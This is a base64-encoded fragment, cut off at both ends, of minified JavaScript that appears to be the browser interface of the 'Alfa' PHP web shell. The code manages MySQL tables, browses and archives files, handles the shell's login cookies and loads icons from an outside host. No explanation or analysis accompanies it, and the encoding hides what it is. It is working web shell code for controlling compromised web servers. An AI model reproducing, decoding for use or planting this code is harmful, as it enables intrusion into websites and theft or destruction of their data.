Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgpaWYoZT1KU09OLnBhcnNlKGUpLCJlZGl0Ij09dCl7dmFyIHM9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiI7Zm9yKHZhciBjIGluIGUpe3ZhciB1PSIiO3N3aXRjaChlW2NdLnR5cGUudGFnKXtjYXNlInRleHRhcmVhIjp1PSI8dGV4dGFyZWEgbmFtZT0nIitlW2NdLmNvbCsiJyByb3dzPSc1Jz4iK2VbY10udmFsdWUrIjwvdGV4dGFyZWE+IjticmVhaztjYXNlImlucHV0Ijp1PSI8aW5wdXQgdHlwZT0nIitlW2NdLnR5cGUudHlwZSsiJyBuYW1lPSciK2VbY10uY29sKyInIHZhbHVlPSciK2VbY10udmFsdWUrIic+In1zKz0iPHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDsnPiIrZVtjXS5jb2wrIjwvdGg+PHRkPiIrZVtjXS50eXBlLmNvbF90eXBlKyI8L3RkPjx0ZD4iK3UrIjwvdGQ+PC90cj4ifXMrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIGNvbF9rZXk9JyIrbCsiJyBrZXk9JyIrcisiJyB0YmxfbmFtZT0nIitvKyInIGRiX2lkPSciK2krIicgZGJfdGFyZ2V0PSciK2ErIicgb25jbGljaz0nYWxmYU15c3FsVXBkYXRlUm93KHRoaXMsIFwiZWRpdFwiKTtyZXR1cm4gZmFsc2U7Jz5VcGRhdGU8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC11cGRhdGUtcmVzdWx0Jz48L2Rpdj4iLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1lZGl0LXJvdyIpLmlubmVySFRNTD1zLGFsZmFNeXNxbFRhYkN0bCh7Y2hpbGQ6NixkYl9pZDppLHRhcmdldDoiLm15c3FsLWVkaXQtcm93In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1xdWVyeS1yZXN1bHQtdGFicyBkaXY6bnRoLWNoaWxkKDYpIikuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIn1lbHNlImRlbGV0ZSI9PXQmJihlLnN0YXR1cz9kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAudGJsX3Jvd19sIituKS5yZW1vdmUoKTphbGVydChlLmVycm9yKSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYmxTZWxlY3RBbGwoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIit0KyIgLm15c3FsLW1haW4gaW5wdXRbbmFtZT10Ymxfcm93c19jaGVja2JveFxcW1xcXV0iKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3QuY2hlY2tlZD1lLmNoZWNrZWR9KX1mdW5jdGlvbiBhbGZhTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3MoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiY29sX2tleSIpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK3QrIiAubXlzcWwtbWFpbiBpbnB1dFtuYW1lPXRibF9yb3dzX2NoZWNrYm94XFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkJiZyLnB1c2goZS52YWx1ZSl9KSwwPT1yLmxlbmd0aClyZXR1cm4hMTthbGZhTXlzcWxBcGkoe2RiX2lkOnQsZGJfdGFyZ2V0OmEsYWpheF9pZDoibXlzcWxfdGFibGVfZGVsZXRlX2FsbF9xdWVyeSIsZGJfaW5mbzp7dGFibGU6bCxjb2xfa2V5Omkscm93czpyfSxwb3N0OnthbGZhMjoiZGVsZXRlX2FsbCJ9fSxmdW5jdGlvbihlKXtpZigiIiE9ZSlpZigoZT1KU09OLnBhcnNlKGUpKS5zdGF0dXMpe3ZhciBhPTAsaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QpO2QucXVlcnlTZWxlY3RvckFsbCgiIyIrdCsiIC5teXNxbC1tYWluIGlucHV0W25hbWU9dGJsX3Jvd3NfY2hlY2tib3hcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJihhPWUuZ2V0QXR0cmlidXRlKCJyb3dfaWQiKSxpLnF1ZXJ5U2VsZWN0b3IoIi50Ymxfcm93X2wiK2EpLnJlbW92ZSgpKX0pfWVsc2UgYWxlcnQoZS5lcnJvcil9KX1mdW5jdGlvbiBhbGZhTXlzcWxVcGRhdGVSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWQucXVlcnlTZWxlY3RvcigiIyIraSkscj0iLm15c3FsLWluc2VydC1yb3ciLG89Ii5teXNxbC1pbnNlcnQtcmVzdWx0IixuPSJteXNxbF90YWJsZV9pbnNlcnRfcXVlcnkiLHM9Imluc2VydCIsYz17dGFibGU6ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIil9O2lmKCJlZGl0Ij09dCl7dmFyIHU9ZS5nZXRBdHRyaWJ1dGUoImNvbF9rZXkiKSxwPWUuZ2V0QXR0cmlidXRlKCJrZXkiKTtyPSIubXlzcWwtZWRpdC1yb3ciLG89Ii5teXNxbC11cGRhdGUtcmVzdWx0IixuPSJteXNxbF90YWJsZV91cGRhdGVfcXVlcnkiLHM9InVwZGF0ZSIsYy5jb2xfa2V5PXUsYy5rZXk9cH12YXIgZj17fTtsLnF1ZXJ5U2VsZWN0b3JBbGwocisiIGlucHV0LCAiK3IrIiB0ZXh0YXJlYSIpLmZvckVhY2goZnVuY3Rpb24oZSl7Zi5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwoZltlLm5hbWVdPXt9KSxmW2UubmFtZV09ZS52YWx1ZX0pLGMuZGF0YT1mLGFsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOm4sZGJfaW5mbzpjLHBvc3Q6e2FsZmEyOnN9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIraSsiICIrbyk7dC5zdHlsZS5kaXNwbGF5PSJibG9jayIsZS5zdGF0dXM/dC5pbm5lckhUTUw9IlN1Y2Nlc3MuLi4iOnQuaW5uZXJIVE1MPWUuZXJyb3J9fSl9ZnVuY3Rpb24gYWxmYU15c3FsTG9hZERhdGFUeXBlKGUpe2U9ZS50b1VwcGVyQ2FzZSgpO3ZhciB0PVsiSU5UIiwiVkFSQ0hBUiIsIlRFWFQiLCJEQVRFIix7a2V5OiJOdW1lcmljIix2YWxzOlsiVElOWUlOVCIsIlNNQUxMSU5UIiwiTUVESVVNSU5UIiwiSU5UIiwiQklHSU5UIiwiLSIsIkRFQ0lNQUwiLCJGTE9BVCIsIkRPVUJMRSIsIlJFQUwiLCItIiwiQklUIiwiQk9PTEVBTiIsIlNFUklBTCJdfSx7a2V5OiJEYXRlIGFuZCB0aW1lIix2YWxzOlsiREFURSIsIkRBVEVUSU1FIiwiVElNRVNUQU1QIiwiVElNRSIsIllFQVIiXX0se2tleToiU3RyaW5nIix2YWxzOlsiQ0hBUiIsIlZBUkNIQVIiLCItIiwiVElOWVRFWFQiLCJURVhUIiwiTUVESVVNVEVYVCIsIkxPTkdURVhUIiwiLSIsIkJJTkFSWSIsIlZBUkJJTkFSWSIsIi0iLCJUSU5ZQkxPQiIsIk1FRElVTUJMT0IiLCJCTE9CIiwiTE9OR0JMT0IiLCItIiwiRU5VTSIsIlNFVCJdfSx7a2V5OiJTcGF0aWFsIix2YWxzOlsiR0VPTUVUUlkiLCJQT0lOVCIsIkxJTkVTVFJJTkciLCJQT0xZR09OIiwiTVVMVElQT0lOVCIsIk1VTFRJTElORVNUUklORyIsIk1VTFRJUE9MWUdPTiIsIkdFT01FVFJZQ09MTEVDVElPTiJdfSx7a2V5OiJKU09OIix2YWxzOlsiSlNPTiJdfV0sYT0iIixpPSExO2Zvcih2YXIgbCBpbiB0KWlmKCJvYmplY3QiPT10eXBlb2YgdFtsXSl7Zm9yKHZhciByIGluIGErPSc8b3B0Z3JvdXAgbGFiZWw9IicrdFtsXS5rZXkrJyI+Jyx0W2xdLnZhbHMpYSs9IjxvcHRpb24iKyh0W2xdLnZhbHNbcl0hPWV8fGk/IiI6IiBzZWxlY3RlZCIpKyI+Iit0W2xdLnZhbHNbcl0rIjwvb3B0aW9uPiIsdFtsXS52YWxzW3JdPT1lJiYoaT0hMCk7YSs9Ijwvb3B0Z3JvdXA+In1lbHNlIGErPSI8b3B0aW9uIisodFtsXSE9ZXx8aT8iIjoiIHNlbGVjdGVkIikrIj4iK3RbbF0rIjwvb3B0aW9uPiIsdFtsXT09ZSYmKGk9ITApO3JldHVybiBhfWZ1bmN0aW9uIGFsZmFNeXNxbENoYW5nZVBhZ2UoZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPTA7aWYodm9pZCAwIT09dCl7ZT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBzZWxlY3RbbmFtZT1teXNxbC1xLXBhZ2VzXSIpO3ZhciBsPXBhcnNlSW50KGUuZ2V0QXR0cmlidXRlKCJwYWdlcyIpKTtpZihpPXBhcnNlSW50KGUudmFsdWUpLDE9PXQ/LS1pOisraSwwPT1pfHxsPGkpcmV0dXJuITE7ZS52YWx1ZT1pfWVsc2UgaT1lLnZhbHVlO3ZhciByPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxvPWUuZ2V0QXR0cmlidXRlKCJ0YmxfbmFtZSIpO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6cixhamF4X2lkOiJteXNxbF90YWJsZV9jaGFuZ2VfcGFnZSIsZGJfaW5mbzp7dGFibGU6byxwYWdlOml9LHBvc3Q6e2FsZmEyOiJwYWdlIn19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiYoZT1KU09OLnBhcnNlKGUpLGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoYSxlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS50YWJsZSl9KX1mdW5jdGlvbiBhbGZhUmVtb3ZlQ29va2llKGUpe2RvY3VtZW50LmNvb2tpZT1lKyI9O01heC1BZ2U9MDsgcGF0aD0vOyJ9ZnVuY3Rpb24gYWxmYUxvZ091dCgpe2FsZmFSZW1vdmVDb29raWUoIkFsZmFVc2VyIiksYWxmYVJlbW92ZUNvb2tpZSgiQWxmYVBhc3MiKSxsb2NhdGlvbi5yZWxvYWQoKX12YXIgYWxmYUFsZXJ0Qm94PWZ1bmN0aW9uKGUsdCl7dGhpcy50eXBlcz17c3VjY2Vzczp7Y2xhc3M6ImFsZXJ0LXN1Y2Nlc3MiLGljb246Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jaGVjay1tYXJrMS5zdmcifSxlcnJvcjp7Y2xhc3M6ImFsZXJ0LWVycm9yIixpY29uOiJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvd2FybmluZy5zdmcifX0sdGhpcy5zaG93PWZ1bmN0aW9uKGEpe2lmKCIiPT09YXx8bnVsbD09YSl0aHJvdycibXNnIHBhcmFtZXRlciBpcyBlbXB0eSInO3ZhciBpPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSksbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJESVYiKSxyPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpLG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiRElWIiksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJBIikscz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSxjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklNRyIpLGQ9dGhpcztpZihzLnN0eWxlLmRpc3BsYXk9ImlubGluZS1ibG9jayIscy5zdHlsZS5tYXJnaW5SaWdodD0iMTBweCIsci5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLG8uY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudCIpLG8uaW5uZXJUZXh0PWEsbi5jbGFzc0xpc3QuYWRkKCJhbGVydC1jbG9zZSIpLG4uc2V0QXR0cmlidXRlKCJocmVmIiwiIyIpLGwuY2xhc3NMaXN0LmFkZCgiYWxlcnQtYm94IiksYy5zcmM9dGhpcy50eXBlc1t0LnR5cGVdLmljb24sYy5zdHlsZS53aWR0aD0iMzBweCIscy5hcHBlbmRDaGlsZChjKSxsLmFwcGVuZENoaWxkKHMpLHQuaGFzT3duUHJvcGVydHkoInRpdGxlIikpe3ZhciB1PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpO3UuY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudC10aXRsZSIpLHUuaW5uZXJUZXh0PXQudGl0bGUsci5hcHBlbmRDaGlsZCh1KX1pZihyLmFwcGVuZENoaWxkKG8pLGwuYXBwZW5kQ2hpbGQociksdC5oaWRlQ2xvc2VCdXR0b24mJnZvaWQgMCE9PXQuaGlkZUNsb3NlQnV0dG9ufHxsLmFwcGVuZENoaWxkKG4pLHQuaGFzT3duUHJvcGVydHkoInR5cGUiKSYmbC5jbGFzc0xpc3QuYWRkKHRoaXMudHlwZXNbdC50eXBlXS5jbGFzcyksaS5hcHBlbmRDaGlsZChsKSxuLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtlLnByZXZlbnREZWZhdWx0KCksZC5oaWRlKGwpfSksIXQucGVyc2lzdGVudCl2YXIgcD1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZC5oaWRlKGwpLGNsZWFyVGltZW91dChwKX0sdC5jbG9zZVRpbWUpfSx0aGlzLmhpZGU9ZnVuY3Rpb24oZSl7ZS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7dmFyIHQ9c2V0VGltZW91dChmdW5jdGlvbigpe2UucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlKSxjbGVhclRpbWVvdXQodCl9LDUwMCl9fTtmdW5jdGlvbiBhbGZhU2hvd05vdGlmaWNhdGlvbihlLHQsYSxpLGwpe3ZvaWQgMD09PWEmJihhPSJzdWNjZXNzIiksdm9pZCAwPT09aSYmKGk9ITEpLHZvaWQgMD09PWwmJihsPTFlNCk7dmFyIHI9e2Nsb3NlVGltZTpsLHBlcnNpc3RlbnQ6aSx0eXBlOmEsaGlkZUNsb3NlQnV0dG9uOiExfTt2b2lkIDAhPT10JiYoci50aXRsZT10KSxuZXcgYWxmYUFsZXJ0Qm94KCIjYWxlcnQtYXJlYSIscikuc2hvdyhlKX1mdW5jdGlvbiBhbGZhU3luY01lbnVUb09wdChlLHQpe3ZhciBhPSIiLGk9IiIsbD1udWxsO3ZvaWQgMCE9PXQ/KGE9InZpZXdfYXJjaGl2ZSIsaT1lLGw9bG9jYXRpb24pOihhPWUubmFtZSxpPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZSksImV4dHJhY3QiPT1hPyhhbGZhX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1kZXppcGVyIixnKCJkZXppcGVyIixudWxsLCIiLCIiLGNfKyIvIitpKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9IkRlQ29tcHJlc3NvciIpOiJjb21wcmVzcyI9PWE/KGFsZmFfY2FuX2FkZF9vcHQ9ITAsbC5ocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0iK2NfKyImb3B0PXppcGVyIixnKCJ6aXBlciIsbnVsbCwiIiwiIixjXysiLyIraSksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDb21wcmVzc29yIik6InZpZXdfYXJjaGl2ZSI9PWEmJihhbGZhX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1hcmNoaXZlX21hbmFnZXIiLGcoImFyY2hpdmVfbWFuYWdlciIsbnVsbCwiIixjXysiLyIraSwiIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJBcmNoaXZlIE1hbmFnZXIiKX1mdW5jdGlvbiBkb0ZpbHRlck5hbWUoZSl7dmFyIHQ9IiNmaWxlc21hbl9ob2xkZXJfIithbGZhX2N1cnJlbnRfZm1faWQ7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPW5ldyBSZWdFeHAoZS52YWx1ZSwiaSIpO2QucXVlcnlTZWxlY3RvckFsbCh0KyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2goZnVuY3Rpb24oZSl7LTE9PWUucXVlcnlTZWxlY3RvcigiLm1haW5fbmFtZSIpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKS5zZWFyY2goYSk/ZS5zdHlsZS5kaXNwbGF5PSJub25lIjplLnN0eWxlLmRpc3BsYXk9InRhYmxlLXJvdyJ9KX0sMTAwKX1mdW5jdGlvbiBzb3J0QnlTZWxlY3RlZFZhbHVlKGUsdCl7c2V0Q29va2llKHQsZS5vcHRpb25zW2Uuc2VsZWN0ZWRJbmRleF0udmFsdWUsMjAxMiksZygiRmlsZXNNYW4iLGNfKX1mdW5jdGlvbiBsb2FkUG9wVXBEYXRhYmFzZShlLHQsYSl7aWYoY29uc29sZS5sb2codCksJCgiZGF0YWJhc2Vfd2luZG93Iikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHZvaWQgMD09PXQpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJzcWwtYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJuYW1lLnNxbC1hY3RpdmUtdGFiIikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIC5zcWwtbmV3dGFiIikucmVtb3ZlKCl9Y2F0Y2goZSl7fXZhciBpPSJpZF9kYl8iK2dldFJhbmRvbSgxMCk7ZC5xdWVyeVNlbGVjdG9yKCIjZGF0YWJhc2Vfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5zcWwtY29udGVudHMiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK2krJyIgY2xhc3M9InNxbC1jb250ZW50IHNxbC1hY3RpdmUtY29udGVudCI+JytlKyI8L2Rpdj4iKSxkLnF1ZXJ5U2VsZWN0b3IoIiNkYXRhYmFzZV93aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLnNxbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IGlkPSJ0YWJfJytpKyciIG9wdF9pZD0iJytpKyciIGNsYXNzPSJzcWwtdGFibmFtZSBzcWwtYWN0aXZlLXRhYiIgb25jbGljaz0iZGJUYWJDb250cm9sbGVyKHRoaXMpOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IERCIENvbm5lY3Rpb248L3NwYW4+IDxpbWcgb3B0X2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VEYXRhYmFzZSh0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2ZyI+PC9kaXY+PGRpdiBjbGFzcz0ic3FsLW5ld3RhYiIgb25jbGljaz0iYWxmYV9jYW5fYWRkX29wdD10cnVlO2coXCdzcWxcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTsiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM4MDAwMDA7Ij48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7Ij5OZXcgVGFiICs8L3NwYW4+PC9kaXY+JyksJChpKS5xdWVyeVNlbGVjdG9yQWxsKCIuZGItb3B0LWlkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiZGJfaWQiLGkpfSk7dHJ5eyQoaSkucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsaSl9Y2F0Y2goZSl7fXJldHVybiBpfSQodCkuaW5uZXJIVE1MPWU7dmFyIGw9JCgidGFiXyIrdCk7bnVsbCE9bCYmKCgtMT09bC5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigic3FsLWFjdGl2ZS10YWIiKXx8ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZCkmJihsLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIiksYWxmYVNob3dOb3RpZmljYXRpb24oInByb2NjZXNzIGlzIGRvbmUuLi4iLCJEQjogIitsLmlubmVyVGV4dCkpLGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQmJmFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImRhdGFiYXNlX3dpbmRvdyIpKSx2b2lkIDAhPT1teXNxbF9jYWNoZVt0XSYmbXlzcWxfY2FjaGVbdF0uaGFzT3duUHJvcGVydHkoImRiIikmJm15c3FsX2NhY2hlW3RdLmRiLmxlbmd0aD4wJiYidXBkYXRlIiE9YSYmKGQucXVlcnlTZWxlY3RvcigiI3RhYl8iK3QrIj5zcGFuIikuaW5uZXJIVE1MPW15c3FsX2NhY2hlW3RdLmRiKSwkKHQpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYi1vcHQtaWQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJkYl9pZCIsdCl9KTt0cnl7JCh0KS5xdWVyeVNlbGVjdG9yKCIuZ2V0Y29uZmlnIikuc2V0QXR0cmlidXRlKCJiYXNlX2lkIix0KX1jYXRjaChlKXt9ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZHx8KGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIil9ZnVuY3Rpb24gbG9hZFBvcFVwT3BUaW9ucyhlLHQpe2NvbnNvbGUubG9nKGUpLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIiwkKCJvcHRpb25zX3dpbmRvdyIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjt2YXIgYT0kKCJvcHRpb25fIitlKTtpZihhbGZhX2Nhbl9hZGRfb3B0KXthbGZhX2Nhbl9hZGRfb3B0PSExO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX2hvbGRlci5vcHRpb25faXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgib3B0aW9uX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe312YXIgaT0iIixsPSQoIm1lbnVfb3B0XyIrZSkuaW5uZXJIVE1MOyJtYXJrZXQiPT1lP2w9IkFsZmEgTWFya2V0IjoiR2V0RGlzRnVuYyI9PWUmJihsPSJEaXNhYmxlIEZ1bmN0aW9ucyIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWJfaXNfYWN0aXZlIil9Y2F0Y2goZSl7fWlmKG51bGwhPWEpe3ZhciByPWEuZ2V0QXR0cmlidXRlKCJvcHRfY291bnQiKTtudWxsIT1yPyhpPXBhcnNlSW50KHIpKzEsYS5zZXRBdHRyaWJ1dGUoIm9wdF9jb3VudCIsaSkpOihpPTEsYS5zZXRBdHRyaWJ1dGUoIm9wdF9jb3VudCIsaSkpfXZhciBvPSJvcHRpb25fIitlK2k7ZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfY29udGVudCIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgaWQ9IicrbysnIiBjbGFzcz0ib3B0aW9uc19ob2xkZXIiPicrdCsiPC9kaXY+IiksZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9wdF9pZD0iJytvKyciIG9uY2xpY2s9Im9wdGlvbnNUYWJDb250cm9sbGVyKHRoaXMpOyIgdGl0bGU9IicrbCsnIiBpZD0idGFiXycrbysnIiBjbGFzcz0idGFiX25hbWUgdGFiX2lzX2FjdGl2ZSI+JytsKycgPGltZyBvcHRfaWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZU9wdGlvbih0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2ZyI+PC9kaXY+JyksJChvKS5jbGFzc0xpc3QudG9nZ2xlKCJvcHRpb25faXNfYWN0aXZlIiksZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitvKyIgZm9ybSwgIyIrbysiIGEiKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3ZhciBhPXQuY2xhc3NMaXN0LnZhbHVlO2lmKCJnZXRjb25maWciPT1hfHwicmVqZWN0bWUiPT1hKXJldHVybiExO2lmKCJGT1JNIj09dC50YWdOYW1lKXt2YXIgbD10LmdldEF0dHJpYnV0ZSgib25zdWJtaXQiKTt0LnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCdhbGZhQmVmb3JlRG9BY3Rpb24oIicrZStpKyciKTsnK2wpLHQuc2V0QXR0cmlidXRlKCJvcHRfaWQiLGUraSl9ZWxzZXtsPXQuZ2V0QXR0cmlidXRlKCJvbmNsaWNrIik7dC5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCdhbGZhQmVmb3JlRG9BY3Rpb24oIicrZStpKyciKTsnK2wpfX0pO3RyeXskKG8pLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGUraSl9Y2F0Y2goZSl7fXJldHVybiBlK2l9YS5pbm5lckhUTUw9dDt2YXIgbj0kKCJ0YWJfb3B0aW9uXyIrZSk7bnVsbCE9biYmKCgtMT09bi5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigidGFiX2lzX2FjdGl2ZSIpfHxvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQpJiYobi5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIixuLmlubmVyVGV4dCkpLG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZCYmYWxmYVVwZGF0ZU9wdGlvbnNCYWRnZSgib3B0aW9uc193aW5kb3ciKSksZC5xdWVyeVNlbGVjdG9yQWxsKCIjb3B0aW9uXyIrZSsiIGZvcm0sICNvcHRpb25fIitlKyIgYSIpLmZvckVhY2goZnVuY3Rpb24odCl7dmFyIGE9dC5jbGFzc0xpc3QudmFsdWU7aWYoImdldGNvbmZpZyI9PWF8fCJyZWplY3RtZSI9PWEpcmV0dXJuITE7aWYoIkZPUk0iPT10LnRhZ05hbWUpe3ZhciBpPXQuZ2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIpO3Quc2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIsJ2FsZmFCZWZvcmVEb0FjdGlvbigiJytlKyciKTsnK2kpLHQuc2V0QXR0cmlidXRlKCJvcHRfaWQiLGUpfWVsc2V7aT10LmdldEF0dHJpYnV0ZSgib25jbGljayIpO3Quc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwnYWxmYUJlZm9yZURvQWN0aW9uKCInK2UrJyIpOycraSl9fSk7dHJ5e2EucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsZSl9Y2F